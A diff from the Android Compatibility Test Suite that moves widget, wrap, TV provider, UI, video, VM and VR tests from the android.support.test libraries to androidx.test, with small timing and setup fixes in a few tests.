diff --git a/tests/tests/widget/src/android/widget/cts/TimePickerTest.java b/tests/tests/widget/src/android/widget/cts/TimePickerTest.java
index 0886aa3..b4a43e3 100644
--- a/tests/tests/widget/src/android/widget/cts/TimePickerTest.java
+++ b/tests/tests/widget/src/android/widget/cts/TimePickerTest.java
@@ -32,17 +32,18 @@
import android.content.Context;
import android.content.res.Configuration;
import android.os.Parcelable;
-import android.support.test.InstrumentationRegistry;
-import android.support.test.annotation.UiThreadTest;
-import android.support.test.filters.MediumTest;
-import android.support.test.rule.ActivityTestRule;
-import android.support.test.runner.AndroidJUnit4;
import android.util.AttributeSet;
import android.view.KeyEvent;
import android.view.View;
import android.view.autofill.AutofillValue;
import android.widget.TimePicker;
+import androidx.test.InstrumentationRegistry;
+import androidx.test.annotation.UiThreadTest;
+import androidx.test.filters.MediumTest;
+import androidx.test.rule.ActivityTestRule;
+import androidx.test.runner.AndroidJUnit4;
+
import com.android.compatibility.common.util.CtsKeyEventUtil;
import com.android.compatibility.common.util.CtsTouchUtils;
@@ -392,6 +393,9 @@
if (isWatch()) {
return;
}
+ // Hide timepicker_clock so that timepicker_spinner would be visible.
+ mActivityRule.runOnUiThread(() ->
+ mActivity.findViewById(R.id.timepicker_clock).setVisibility(View.GONE));
mTimePicker = (TimePicker) mActivity.findViewById(R.id.timepicker_spinner);
mActivityRule.runOnUiThread(() -> mTimePicker.setIs24HourView(false));
diff --git a/tests/tests/widget/src/android/widget/cts/ToastTest.java b/tests/tests/widget/src/android/widget/cts/ToastTest.java
index 4ea9b88..b0d3751 100644
--- a/tests/tests/widget/src/android/widget/cts/ToastTest.java
+++ b/tests/tests/widget/src/android/widget/cts/ToastTest.java
@@ -28,11 +28,6 @@
import android.content.pm.PackageManager;
import android.graphics.drawable.Drawable;
import android.os.SystemClock;
-import android.support.test.InstrumentationRegistry;
-import android.support.test.annotation.UiThreadTest;
-import android.support.test.filters.LargeTest;
-import android.support.test.rule.ActivityTestRule;
-import android.support.test.runner.AndroidJUnit4;
import android.view.Gravity;
import android.view.View;
import android.view.ViewTreeObserver;
@@ -40,6 +35,12 @@
import android.widget.ImageView;
import android.widget.Toast;
+import androidx.test.InstrumentationRegistry;
+import androidx.test.annotation.UiThreadTest;
+import androidx.test.filters.LargeTest;
+import androidx.test.rule.ActivityTestRule;
+import androidx.test.runner.AndroidJUnit4;
+
import com.android.compatibility.common.util.PollingCheck;
import org.junit.Before;
diff --git a/tests/tests/widget/src/android/widget/cts/ToggleButtonTest.java b/tests/tests/widget/src/android/widget/cts/ToggleButtonTest.java
index a473983..cf8e98a 100644
--- a/tests/tests/widget/src/android/widget/cts/ToggleButtonTest.java
+++ b/tests/tests/widget/src/android/widget/cts/ToggleButtonTest.java
@@ -27,13 +27,14 @@
import android.content.Context;
import android.graphics.drawable.Drawable;
import android.graphics.drawable.StateListDrawable;
-import android.support.test.annotation.UiThreadTest;
-import android.support.test.filters.SmallTest;
-import android.support.test.rule.ActivityTestRule;
-import android.support.test.runner.AndroidJUnit4;
import android.util.AttributeSet;
import android.widget.ToggleButton;
+import androidx.test.annotation.UiThreadTest;
+import androidx.test.filters.SmallTest;
+import androidx.test.rule.ActivityTestRule;
+import androidx.test.runner.AndroidJUnit4;
+
import org.junit.Before;
import org.junit.Rule;
import org.junit.Test;
diff --git a/tests/tests/widget/src/android/widget/cts/ToolbarTest.java b/tests/tests/widget/src/android/widget/cts/ToolbarTest.java
index ff4da10..165b519 100644
--- a/tests/tests/widget/src/android/widget/cts/ToolbarTest.java
+++ b/tests/tests/widget/src/android/widget/cts/ToolbarTest.java
@@ -32,11 +32,6 @@
import android.graphics.Color;
import android.graphics.drawable.Drawable;
import android.os.SystemClock;
-import android.support.test.InstrumentationRegistry;
-import android.support.test.annotation.UiThreadTest;
-import android.support.test.filters.MediumTest;
-import android.support.test.rule.ActivityTestRule;
-import android.support.test.runner.AndroidJUnit4;
import android.view.KeyEvent;
import android.view.Menu;
import android.view.MenuItem;
@@ -44,6 +39,12 @@
import android.widget.Toolbar;
import android.widget.cts.util.TestUtils;
+import androidx.test.InstrumentationRegistry;
+import androidx.test.annotation.UiThreadTest;
+import androidx.test.filters.MediumTest;
+import androidx.test.rule.ActivityTestRule;
+import androidx.test.runner.AndroidJUnit4;
+
import com.android.compatibility.common.util.WidgetTestUtils;
import org.junit.Before;
diff --git a/tests/tests/widget/src/android/widget/cts/ToolbarWithMarginsTest.java b/tests/tests/widget/src/android/widget/cts/ToolbarWithMarginsTest.java
index 5bba423..dfc0f91 100644
--- a/tests/tests/widget/src/android/widget/cts/ToolbarWithMarginsTest.java
+++ b/tests/tests/widget/src/android/widget/cts/ToolbarWithMarginsTest.java
@@ -18,12 +18,13 @@
import static org.junit.Assert.assertEquals;
-import android.support.test.annotation.UiThreadTest;
-import android.support.test.filters.MediumTest;
-import android.support.test.rule.ActivityTestRule;
-import android.support.test.runner.AndroidJUnit4;
import android.widget.Toolbar;
+import androidx.test.annotation.UiThreadTest;
+import androidx.test.filters.MediumTest;
+import androidx.test.rule.ActivityTestRule;
+import androidx.test.runner.AndroidJUnit4;
+
import org.junit.Before;
import org.junit.Rule;
import org.junit.Test;
diff --git a/tests/tests/widget/src/android/widget/cts/TwoLineListItemTest.java b/tests/tests/widget/src/android/widget/cts/TwoLineListItemTest.java
index f931a63..43806e0 100644
--- a/tests/tests/widget/src/android/widget/cts/TwoLineListItemTest.java
+++ b/tests/tests/widget/src/android/widget/cts/TwoLineListItemTest.java
@@ -24,15 +24,16 @@
import android.app.Activity;
import android.content.Context;
import android.content.res.Resources;
-import android.support.test.annotation.UiThreadTest;
-import android.support.test.filters.MediumTest;
-import android.support.test.rule.ActivityTestRule;
-import android.support.test.runner.AndroidJUnit4;
import android.util.AttributeSet;
import android.widget.RelativeLayout.LayoutParams;
import android.widget.TextView;
import android.widget.TwoLineListItem;
+import androidx.test.annotation.UiThreadTest;
+import androidx.test.filters.MediumTest;
+import androidx.test.rule.ActivityTestRule;
+import androidx.test.runner.AndroidJUnit4;
+
import org.junit.Before;
import org.junit.Rule;
import org.junit.Test;
diff --git a/tests/tests/widget/src/android/widget/cts/VideoView2Test.java b/tests/tests/widget/src/android/widget/cts/VideoView2Test.java
index 3043f45..05dd990 100644
--- a/tests/tests/widget/src/android/widget/cts/VideoView2Test.java
+++ b/tests/tests/widget/src/android/widget/cts/VideoView2Test.java
@@ -32,16 +32,17 @@
import android.media.AudioAttributes;
import android.media.session.MediaController;
import android.media.session.PlaybackState;
-import android.support.test.InstrumentationRegistry;
-import android.support.test.annotation.UiThreadTest;
-import android.support.test.filters.LargeTest;
-import android.support.test.rule.ActivityTestRule;
-import android.support.test.runner.AndroidJUnit4;
import android.util.Log;
import android.view.View;
import android.view.WindowManager;
import android.widget.VideoView2;
+import androidx.test.InstrumentationRegistry;
+import androidx.test.annotation.UiThreadTest;
+import androidx.test.filters.LargeTest;
+import androidx.test.rule.ActivityTestRule;
+import androidx.test.runner.AndroidJUnit4;
+
import com.android.compatibility.common.util.MediaUtils;
import org.junit.After;
diff --git a/tests/tests/widget/src/android/widget/cts/VideoViewTest.java b/tests/tests/widget/src/android/widget/cts/VideoViewTest.java
index 6cc3800..986e024 100644
--- a/tests/tests/widget/src/android/widget/cts/VideoViewTest.java
+++ b/tests/tests/widget/src/android/widget/cts/VideoViewTest.java
@@ -36,16 +36,17 @@
import android.media.AudioPlaybackConfiguration;
import android.media.MediaPlayer;
import android.os.SystemClock;
-import android.support.test.InstrumentationRegistry;
-import android.support.test.annotation.UiThreadTest;
-import android.support.test.filters.LargeTest;
-import android.support.test.rule.ActivityTestRule;
-import android.support.test.runner.AndroidJUnit4;
import android.util.Log;
import android.view.View.MeasureSpec;
import android.widget.MediaController;
import android.widget.VideoView;
+import androidx.test.InstrumentationRegistry;
+import androidx.test.annotation.UiThreadTest;
+import androidx.test.filters.LargeTest;
+import androidx.test.rule.ActivityTestRule;
+import androidx.test.runner.AndroidJUnit4;
+
import com.android.compatibility.common.util.MediaUtils;
import org.junit.Before;
diff --git a/tests/tests/widget/src/android/widget/cts/ViewAnimatorTest.java b/tests/tests/widget/src/android/widget/cts/ViewAnimatorTest.java
index 7710dcc..9fa68e4 100644
--- a/tests/tests/widget/src/android/widget/cts/ViewAnimatorTest.java
+++ b/tests/tests/widget/src/android/widget/cts/ViewAnimatorTest.java
@@ -22,10 +22,6 @@
import static org.junit.Assert.assertTrue;
import android.app.Activity;
-import android.support.test.annotation.UiThreadTest;
-import android.support.test.filters.MediumTest;
-import android.support.test.rule.ActivityTestRule;
-import android.support.test.runner.AndroidJUnit4;
import android.util.AttributeSet;
import android.util.Xml;
import android.view.View;
@@ -36,6 +32,11 @@
import android.widget.RelativeLayout;
import android.widget.ViewAnimator;
+import androidx.test.annotation.UiThreadTest;
+import androidx.test.filters.MediumTest;
+import androidx.test.rule.ActivityTestRule;
+import androidx.test.runner.AndroidJUnit4;
+
import org.junit.Before;
import org.junit.Rule;
import org.junit.Test;
diff --git a/tests/tests/widget/src/android/widget/cts/ViewFlipperTest.java b/tests/tests/widget/src/android/widget/cts/ViewFlipperTest.java
index b135745..1cd5c26 100644
--- a/tests/tests/widget/src/android/widget/cts/ViewFlipperTest.java
+++ b/tests/tests/widget/src/android/widget/cts/ViewFlipperTest.java
@@ -24,18 +24,19 @@
import android.app.Activity;
import android.app.Instrumentation;
import android.os.SystemClock;
-import android.support.test.InstrumentationRegistry;
-import android.support.test.annotation.UiThreadTest;
-import android.support.test.filters.LargeTest;
-import android.support.test.filters.MediumTest;
-import android.support.test.rule.ActivityTestRule;
-import android.support.test.runner.AndroidJUnit4;
import android.util.AttributeSet;
import android.util.Xml;
import android.view.View;
import android.widget.TextView;
import android.widget.ViewFlipper;
+import androidx.test.InstrumentationRegistry;
+import androidx.test.annotation.UiThreadTest;
+import androidx.test.filters.LargeTest;
+import androidx.test.filters.MediumTest;
+import androidx.test.rule.ActivityTestRule;
+import androidx.test.runner.AndroidJUnit4;
+
import org.junit.Before;
import org.junit.Rule;
import org.junit.Test;
diff --git a/tests/tests/widget/src/android/widget/cts/ViewSwitcherTest.java b/tests/tests/widget/src/android/widget/cts/ViewSwitcherTest.java
index 9088ba0..bfb6afd 100644
--- a/tests/tests/widget/src/android/widget/cts/ViewSwitcherTest.java
+++ b/tests/tests/widget/src/android/widget/cts/ViewSwitcherTest.java
@@ -23,9 +23,6 @@
import static org.junit.Assert.fail;
import android.content.Context;
-import android.support.test.InstrumentationRegistry;
-import android.support.test.filters.SmallTest;
-import android.support.test.runner.AndroidJUnit4;
import android.util.AttributeSet;
import android.util.Xml;
import android.view.View;
@@ -34,6 +31,10 @@
import android.widget.ViewSwitcher;
import android.widget.ViewSwitcher.ViewFactory;
+import androidx.test.InstrumentationRegistry;
+import androidx.test.filters.SmallTest;
+import androidx.test.runner.AndroidJUnit4;
+
import org.junit.Before;
import org.junit.Test;
import org.junit.runner.RunWith;
diff --git a/tests/tests/widget/src/android/widget/cts/ZoomButtonTest.java b/tests/tests/widget/src/android/widget/cts/ZoomButtonTest.java
index 84eba18..54d7c22 100644
--- a/tests/tests/widget/src/android/widget/cts/ZoomButtonTest.java
+++ b/tests/tests/widget/src/android/widget/cts/ZoomButtonTest.java
@@ -22,12 +22,6 @@
import android.app.Activity;
import android.app.Instrumentation;
-import android.support.test.InstrumentationRegistry;
-import android.support.test.annotation.UiThreadTest;
-import android.support.test.filters.LargeTest;
-import android.support.test.filters.SmallTest;
-import android.support.test.rule.ActivityTestRule;
-import android.support.test.runner.AndroidJUnit4;
import android.util.AttributeSet;
import android.util.Xml;
import android.view.View;
@@ -35,6 +29,13 @@
import android.widget.ListView;
import android.widget.ZoomButton;
+import androidx.test.InstrumentationRegistry;
+import androidx.test.annotation.UiThreadTest;
+import androidx.test.filters.LargeTest;
+import androidx.test.filters.SmallTest;
+import androidx.test.rule.ActivityTestRule;
+import androidx.test.runner.AndroidJUnit4;
+
import com.android.compatibility.common.util.CtsTouchUtils;
import org.junit.Before;
@@ -43,10 +44,6 @@
import org.junit.runner.RunWith;
import org.xmlpull.v1.XmlPullParser;
-import java.util.ArrayList;
-import java.util.Collections;
-import java.util.List;
-
@SmallTest
@RunWith(AndroidJUnit4.class)
public class ZoomButtonTest {
@@ -127,87 +124,62 @@
assertFalse(mZoomButton.dispatchUnhandledMove(null, View.FOCUS_DOWN));
}
- private void verifyZoomSpeed(ZoomClickListener zoomClickListener, long zoomSpeedMs) {
- mZoomButton.setZoomSpeed(zoomSpeedMs);
-
- final long startTime = System.nanoTime();
- // Emulate long click that "lasts" for ten seconds
- CtsTouchUtils.emulateLongPressOnViewCenter(mInstrumentation, mZoomButton, 10000);
-
- final List<Long> callbackInvocations = zoomClickListener.getClickTimes();
- assertFalse("Expecting at least one callback", callbackInvocations.isEmpty());
-
- // Verify that the first callback is fired after the system-level long press timeout.
- final long minTimeUntilFirstInvocationMs = ViewConfiguration.getLongPressTimeout();
- final long actualTimeUntilFirstInvocationNs = callbackInvocations.get(0) - startTime;
- assertTrue("First callback not during long press timeout was " +
- actualTimeUntilFirstInvocationNs / NANOS_IN_MILLI +
- " while long press timeout is " + minTimeUntilFirstInvocationMs,
- (callbackInvocations.get(0) - startTime) >
- minTimeUntilFirstInvocationMs * NANOS_IN_MILLI);
-
- // Verify that subsequent callbacks are at least zoom-speed milliseconds apart. Note that
- // we do not have any hard guarantee about the max limit on the time between successive
- // callbacks.
- final long minTimeBetweenInvocationsNs = zoomSpeedMs * NANOS_IN_MILLI;
- if (callbackInvocations.size() > 1) {
- for (int i = 0; i < callbackInvocations.size() - 1; i++) {
- final long actualTimeBetweenInvocationsNs =
- (callbackInvocations.get(i + 1) - callbackInvocations.get(i)) *
- NANOS_IN_MILLI;
- assertTrue("Callback " + (i + 1) + " happened " +
- actualTimeBetweenInvocationsNs / NANOS_IN_MILLI +
- " after the previous one, while zoom speed is " + zoomSpeedMs,
- actualTimeBetweenInvocationsNs > minTimeBetweenInvocationsNs);
- }
- }
- }
-
- @LargeTest
- @Test
- public void testOnLongClick() {
- // Since Mockito doesn't have utilities to track the timestamps of method invocations,
- // we're using our own custom click listener for that. We want to verify that the
- // first listener invocation was after long press timeout, and the rest were spaced
- // by at least our zoom speed milliseconds
-
- mZoomButton.setEnabled(true);
- ZoomClickListener zoomClickListener = new ZoomClickListener();
- mZoomButton.setOnClickListener(zoomClickListener);
-
- verifyZoomSpeed(zoomClickListener, 2000);
- }
-
@LargeTest
@Test
public void testSetZoomSpeed() {
- final long[] zoomSpeeds = { 100, -1, 5000, 1000, 2500 };
+ final long[] zoomSpeeds = { 0, 100 };
mZoomButton.setEnabled(true);
ZoomClickListener zoomClickListener = new ZoomClickListener();
mZoomButton.setOnClickListener(zoomClickListener);
for (long zoomSpeed : zoomSpeeds) {
- // Reset the tracker list of our listener, but continue using it for testing
+ // Reset the tracking state of our listener, but continue using it for testing
// various zoom speeds on the same ZoomButton
zoomClickListener.reset();
- verifyZoomSpeed(zoomClickListener, zoomSpeed);
+
+ mZoomButton.setZoomSpeed(zoomSpeed);
+
+ final long startTime = System.nanoTime();
+ // Emulate long click
+ long longPressWait = ViewConfiguration.getLongPressTimeout()
+ + zoomSpeed + 100;
+ CtsTouchUtils.emulateLongPressOnViewCenter(mInstrumentation, mZoomButton,
+ longPressWait);
+
+ final Long callbackFirstInvocationTime = zoomClickListener.getTimeOfFirstClick();
+ assertNotNull("Expecting at least one callback", callbackFirstInvocationTime);
+
+ // Verify that the first callback is fired after the system-level long press timeout.
+ final long minTimeUntilFirstInvocationMs = ViewConfiguration.getLongPressTimeout();
+ final long actualTimeUntilFirstInvocationNs = callbackFirstInvocationTime - startTime;
+ assertTrue("First callback not during long press timeout was "
+ + actualTimeUntilFirstInvocationNs / NANOS_IN_MILLI
+ + " while long press timeout is " + minTimeUntilFirstInvocationMs,
+ (callbackFirstInvocationTime - startTime)
+ > minTimeUntilFirstInvocationMs * NANOS_IN_MILLI);
+ assertTrue("First callback should have happened sooner than "
+ + actualTimeUntilFirstInvocationNs / NANOS_IN_MILLI,
+ (callbackFirstInvocationTime - startTime)
+ <= (minTimeUntilFirstInvocationMs + 100) * NANOS_IN_MILLI);
}
}
private static class ZoomClickListener implements View.OnClickListener {
- private List<Long> mClickTimes = new ArrayList<>();
+ private Long mTimeOfFirstClick = null;
public void reset() {
- mClickTimes.clear();
+ mTimeOfFirstClick = null;
}
- public List<Long> getClickTimes() {
- return Collections.unmodifiableList(mClickTimes);
+ public Long getTimeOfFirstClick() {
+ return mTimeOfFirstClick;
}
public void onClick(View v) {
- // Add the current system time to the tracker list
- mClickTimes.add(System.nanoTime());
+ if (mTimeOfFirstClick == null) {
+ // Mark the current system time as the time of first click
+ mTimeOfFirstClick = System.nanoTime();
+ }
}
}
}
diff --git a/tests/tests/widget/src/android/widget/cts/ZoomControlsTest.java b/tests/tests/widget/src/android/widget/cts/ZoomControlsTest.java
index ab0f940..58f2416 100644
--- a/tests/tests/widget/src/android/widget/cts/ZoomControlsTest.java
+++ b/tests/tests/widget/src/android/widget/cts/ZoomControlsTest.java
@@ -21,13 +21,14 @@
import static org.junit.Assert.assertTrue;
import android.content.Context;
-import android.support.test.InstrumentationRegistry;
-import android.support.test.annotation.UiThreadTest;
-import android.support.test.filters.SmallTest;
-import android.support.test.runner.AndroidJUnit4;
import android.view.View;
import android.widget.ZoomControls;
+import androidx.test.InstrumentationRegistry;
+import androidx.test.annotation.UiThreadTest;
+import androidx.test.filters.SmallTest;
+import androidx.test.runner.AndroidJUnit4;
+
import org.junit.Before;
import org.junit.Test;
import org.junit.runner.RunWith;
diff --git a/tests/tests/wrap/nowrap/Android.mk b/tests/tests/wrap/nowrap/Android.mk
index 8fd1015..50bb312 100644
--- a/tests/tests/wrap/nowrap/Android.mk
+++ b/tests/tests/wrap/nowrap/Android.mk
@@ -22,8 +22,8 @@
LOCAL_DEX_PREOPT := false
LOCAL_PROGUARD_ENABLED := disabled
LOCAL_STATIC_JAVA_LIBRARIES := \
- compatibility-device-util \
- android-support-test
+ compatibility-device-util-axt \
+ androidx.test.rules
LOCAL_JAVA_LIBRARIES := android.test.runner.stubs android.test.base.stubs
LOCAL_SRC_FILES := $(call all-java-files-under, ../src)
LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
diff --git a/tests/tests/wrap/nowrap/AndroidManifest.xml b/tests/tests/wrap/nowrap/AndroidManifest.xml
index 6145390..04d6261 100644
--- a/tests/tests/wrap/nowrap/AndroidManifest.xml
+++ b/tests/tests/wrap/nowrap/AndroidManifest.xml
@@ -31,7 +31,7 @@
<!-- self-instrumenting test package. -->
<instrumentation
- android:name="android.support.test.runner.AndroidJUnitRunner"
+ android:name="androidx.test.runner.AndroidJUnitRunner"
android:label="CTS tests for wrap.sh"
android:targetPackage="android.wrap.nowrap.cts" >
</instrumentation>
diff --git a/tests/tests/wrap/wrap_debug/Android.mk b/tests/tests/wrap/wrap_debug/Android.mk
index c67e191..fbd4b8e 100644
--- a/tests/tests/wrap/wrap_debug/Android.mk
+++ b/tests/tests/wrap/wrap_debug/Android.mk
@@ -22,8 +22,8 @@
LOCAL_DEX_PREOPT := false
LOCAL_PROGUARD_ENABLED := disabled
LOCAL_STATIC_JAVA_LIBRARIES := \
- compatibility-device-util \
- android-support-test
+ compatibility-device-util-axt \
+ androidx.test.rules
LOCAL_JAVA_LIBRARIES := android.test.runner.stubs android.test.base.stubs
LOCAL_SRC_FILES := $(call all-java-files-under, ../src)
LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
diff --git a/tests/tests/wrap/wrap_debug/AndroidManifest.xml b/tests/tests/wrap/wrap_debug/AndroidManifest.xml
index f371108..99eff43 100644
--- a/tests/tests/wrap/wrap_debug/AndroidManifest.xml
+++ b/tests/tests/wrap/wrap_debug/AndroidManifest.xml
@@ -31,7 +31,7 @@
<!-- self-instrumenting test package. -->
<instrumentation
- android:name="android.support.test.runner.AndroidJUnitRunner"
+ android:name="androidx.test.runner.AndroidJUnitRunner"
android:label="CTS tests for wrap.sh"
android:targetPackage="android.wrap.wrap_debug.cts" >
</instrumentation>
diff --git a/tests/tests/wrap/wrap_debug_malloc_debug/Android.mk b/tests/tests/wrap/wrap_debug_malloc_debug/Android.mk
index b768dcf..336c7bd 100644
--- a/tests/tests/wrap/wrap_debug_malloc_debug/Android.mk
+++ b/tests/tests/wrap/wrap_debug_malloc_debug/Android.mk
@@ -22,8 +22,8 @@
LOCAL_DEX_PREOPT := false
LOCAL_PROGUARD_ENABLED := disabled
LOCAL_STATIC_JAVA_LIBRARIES := \
- compatibility-device-util \
- android-support-test
+ compatibility-device-util-axt \
+ androidx.test.rules
LOCAL_JAVA_LIBRARIES := android.test.runner.stubs android.test.base.stubs
LOCAL_SRC_FILES := $(call all-java-files-under, ../src)
LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
diff --git a/tests/tests/wrap/wrap_debug_malloc_debug/AndroidManifest.xml b/tests/tests/wrap/wrap_debug_malloc_debug/AndroidManifest.xml
index a359f17..47c1847 100644
--- a/tests/tests/wrap/wrap_debug_malloc_debug/AndroidManifest.xml
+++ b/tests/tests/wrap/wrap_debug_malloc_debug/AndroidManifest.xml
@@ -31,7 +31,7 @@
<!-- self-instrumenting test package. -->
<instrumentation
- android:name="android.support.test.runner.AndroidJUnitRunner"
+ android:name="androidx.test.runner.AndroidJUnitRunner"
android:label="CTS tests for wrap.sh"
android:targetPackage="android.wrap.wrap_debug_malloc_debug.cts" >
</instrumentation>
diff --git a/tests/tests/wrap/wrap_nodebug/Android.mk b/tests/tests/wrap/wrap_nodebug/Android.mk
index 3317f3c..15081b7 100644
--- a/tests/tests/wrap/wrap_nodebug/Android.mk
+++ b/tests/tests/wrap/wrap_nodebug/Android.mk
@@ -22,8 +22,8 @@
LOCAL_DEX_PREOPT := false
LOCAL_PROGUARD_ENABLED := disabled
LOCAL_STATIC_JAVA_LIBRARIES := \
- compatibility-device-util \
- android-support-test
+ compatibility-device-util-axt \
+ androidx.test.rules
LOCAL_JAVA_LIBRARIES := android.test.runner.stubs android.test.base.stubs
LOCAL_SRC_FILES := $(call all-java-files-under, ../src)
LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
diff --git a/tests/tests/wrap/wrap_nodebug/AndroidManifest.xml b/tests/tests/wrap/wrap_nodebug/AndroidManifest.xml
index 127e6a8..60a2888 100644
--- a/tests/tests/wrap/wrap_nodebug/AndroidManifest.xml
+++ b/tests/tests/wrap/wrap_nodebug/AndroidManifest.xml
@@ -31,7 +31,7 @@
<!-- self-instrumenting test package. -->
<instrumentation
- android:name="android.support.test.runner.AndroidJUnitRunner"
+ android:name="androidx.test.runner.AndroidJUnitRunner"
android:label="CTS tests for wrap.sh"
android:targetPackage="android.wrap.wrap_nodebug.cts" >
</instrumentation>
diff --git a/tests/tvprovider/Android.mk b/tests/tvprovider/Android.mk
index 5595519..cccf2c1 100644
--- a/tests/tvprovider/Android.mk
+++ b/tests/tvprovider/Android.mk
@@ -18,7 +18,7 @@
# don't include this package in any target
LOCAL_MODULE_TAGS := optional
-LOCAL_STATIC_JAVA_LIBRARIES := compatibility-device-util ctstestrunner
+LOCAL_STATIC_JAVA_LIBRARIES := compatibility-device-util-axt ctstestrunner-axt
LOCAL_JAVA_LIBRARIES := android.test.runner.stubs android.test.base.stubs
diff --git a/tests/tvprovider/AndroidManifest.xml b/tests/tvprovider/AndroidManifest.xml
index 40714a6..3ed7678 100644
--- a/tests/tvprovider/AndroidManifest.xml
+++ b/tests/tvprovider/AndroidManifest.xml
@@ -25,7 +25,7 @@
<uses-library android:name="android.test.runner" />
</application>
- <instrumentation android:name="android.support.test.runner.AndroidJUnitRunner"
+ <instrumentation android:name="androidx.test.runner.AndroidJUnitRunner"
android:targetPackage="android.tvprovider.cts"
android:label="CTS tests for TV Provider" />
</manifest>
diff --git a/tests/tvprovider/src/android/tvprovider/cts/TvProviderPerfTest.java b/tests/tvprovider/src/android/tvprovider/cts/TvProviderPerfTest.java
index e9c7ae0..e18df4c 100644
--- a/tests/tvprovider/src/android/tvprovider/cts/TvProviderPerfTest.java
+++ b/tests/tvprovider/src/android/tvprovider/cts/TvProviderPerfTest.java
@@ -86,6 +86,11 @@
final int TRANSACTION_SIZE = 1000;
double[] applyBatchTimes = MeasureTime.measure(TRANSACTION_RUNS, new MeasureRun() {
@Override
+ public void prepare(int i) {
+ mContentResolver.delete(Channels.CONTENT_URI, null, null);
+ }
+
+ @Override
public void run(int i) {
operations.clear();
for (int j = 0; j < TRANSACTION_SIZE; ++j) {
diff --git a/tests/ui/Android.mk b/tests/ui/Android.mk
index 2ff427d..9a465fc 100644
--- a/tests/ui/Android.mk
+++ b/tests/ui/Android.mk
@@ -20,7 +20,7 @@
LOCAL_MODULE_PATH := $(TARGET_OUT_DATA_APPS)
-LOCAL_STATIC_JAVA_LIBRARIES := compatibility-device-util ctstestrunner
+LOCAL_STATIC_JAVA_LIBRARIES := compatibility-device-util-axt ctstestrunner-axt
LOCAL_JAVA_LIBRARIES := android.test.runner.stubs android.test.base.stubs
diff --git a/tests/ui/AndroidManifest.xml b/tests/ui/AndroidManifest.xml
index 56826f9..08477e8 100644
--- a/tests/ui/AndroidManifest.xml
+++ b/tests/ui/AndroidManifest.xml
@@ -37,7 +37,7 @@
</application>
<instrumentation
- android:name="android.support.test.runner.AndroidJUnitRunner"
+ android:name="androidx.test.runner.AndroidJUnitRunner"
android:label="UI Latency measurement"
android:targetPackage="android.ui.cts" >
<meta-data
diff --git a/tests/ui/src/android/ui/cts/WatchPercentageScreenDimenTest.java b/tests/ui/src/android/ui/cts/WatchPercentageScreenDimenTest.java
index c550f82..d04c7d8 100644
--- a/tests/ui/src/android/ui/cts/WatchPercentageScreenDimenTest.java
+++ b/tests/ui/src/android/ui/cts/WatchPercentageScreenDimenTest.java
@@ -17,13 +17,15 @@
import android.content.Context;
import android.content.res.Configuration;
-import android.content.res.Resources;
import android.content.res.TypedArray;
-import android.support.test.InstrumentationRegistry;
-import android.support.test.runner.AndroidJUnit4;
import android.test.suitebuilder.annotation.SmallTest;
import android.util.DisplayMetrics;
+
+import androidx.test.InstrumentationRegistry;
+import androidx.test.runner.AndroidJUnit4;
+
import junit.framework.Assert;
+
import org.junit.Before;
import org.junit.Test;
import org.junit.runner.RunWith;
diff --git a/tests/video/Android.mk b/tests/video/Android.mk
index 30d8771..f922734 100644
--- a/tests/video/Android.mk
+++ b/tests/video/Android.mk
@@ -23,7 +23,7 @@
# include both the 32 and 64 bit versions
LOCAL_MULTILIB := both
-LOCAL_STATIC_JAVA_LIBRARIES := ctsmediautil compatibility-device-util ctstestrunner
+LOCAL_STATIC_JAVA_LIBRARIES := ctsmediautil compatibility-device-util-axt ctstestrunner-axt
LOCAL_JAVA_LIBRARIES := android.test.runner.stubs android.test.base.stubs
diff --git a/tests/video/AndroidManifest.xml b/tests/video/AndroidManifest.xml
index 22dad9e..534fc3d 100644
--- a/tests/video/AndroidManifest.xml
+++ b/tests/video/AndroidManifest.xml
@@ -23,7 +23,7 @@
<application>
<uses-library android:name="android.test.runner" />
</application>
- <instrumentation android:name="android.support.test.runner.AndroidJUnitRunner"
+ <instrumentation android:name="androidx.test.runner.AndroidJUnitRunner"
android:targetPackage="android.video.cts"
android:label="CTS tests for Video" >
<meta-data
diff --git a/tests/vm/Android.mk b/tests/vm/Android.mk
index 8391815..033f3ff 100755
--- a/tests/vm/Android.mk
+++ b/tests/vm/Android.mk
@@ -25,7 +25,7 @@
LOCAL_PROGUARD_ENABLED := disabled
-LOCAL_STATIC_JAVA_LIBRARIES := compatibility-device-util android-support-test
+LOCAL_STATIC_JAVA_LIBRARIES := compatibility-device-util-axt androidx.test.rules
LOCAL_SRC_FILES := $(call all-java-files-under, src)
diff --git a/tests/vm/AndroidManifest.xml b/tests/vm/AndroidManifest.xml
index cbd2c90..a08228b 100755
--- a/tests/vm/AndroidManifest.xml
+++ b/tests/vm/AndroidManifest.xml
@@ -24,7 +24,7 @@
<!-- self-instrumenting test package. -->
<instrumentation
- android:name="android.support.test.runner.AndroidJUnitRunner"
+ android:name="androidx.test.runner.AndroidJUnitRunner"
android:label="CTS VM test cases"
android:targetPackage="android.vm.cts" >
</instrumentation>
diff --git a/tests/vr/Android.mk b/tests/vr/Android.mk
index dfd5655..d939f0b 100644
--- a/tests/vr/Android.mk
+++ b/tests/vr/Android.mk
@@ -27,7 +27,7 @@
# When built, explicitly put it in the data partition.
LOCAL_MODULE_PATH := $(TARGET_OUT_DATA_APPS)
-LOCAL_STATIC_JAVA_LIBRARIES := ctstestrunner compatibility-device-util
+LOCAL_STATIC_JAVA_LIBRARIES := ctstestrunner-axt compatibility-device-util-axt
LOCAL_JAVA_LIBRARIES := android.test.runner.stubs android.test.base.stubs
diff --git a/tests/vr/AndroidManifest.xml b/tests/vr/AndroidManifest.xml
index 1271665..cc60bd2 100644
--- a/tests/vr/AndroidManifest.xml
+++ b/tests/vr/AndroidManifest.xml
@@ -23,7 +23,7 @@
<uses-sdk android:minSdkVersion="14" />
<uses-feature android:glEsVersion="0x00020000"/>
<instrumentation
- android:name="android.support.test.runner.AndroidJUnitRunner"
+ android:name="androidx.test.runner.AndroidJUnitRunner"
android:targetPackage="android.vr.cts" >
<meta-data android:name="listener"
android:value="com.android.cts.runner.CtsTestRunListener" />
diff --git a/tools/cts-holo-generation/Android.mk b/tools/cts-holo-generation/Android.mk
index 195f5a5..de39c63 100644
--- a/tools/cts-holo-generation/Android.mk
+++ b/tools/cts-holo-generation/Android.mk
@@ -23,7 +23,7 @@
LOCAL_DEX_PREOPT := false
LOCAL_PROGUARD_ENABLED := disabled
-LOCAL_STATIC_JAVA_LIBRARIES := android-support-test
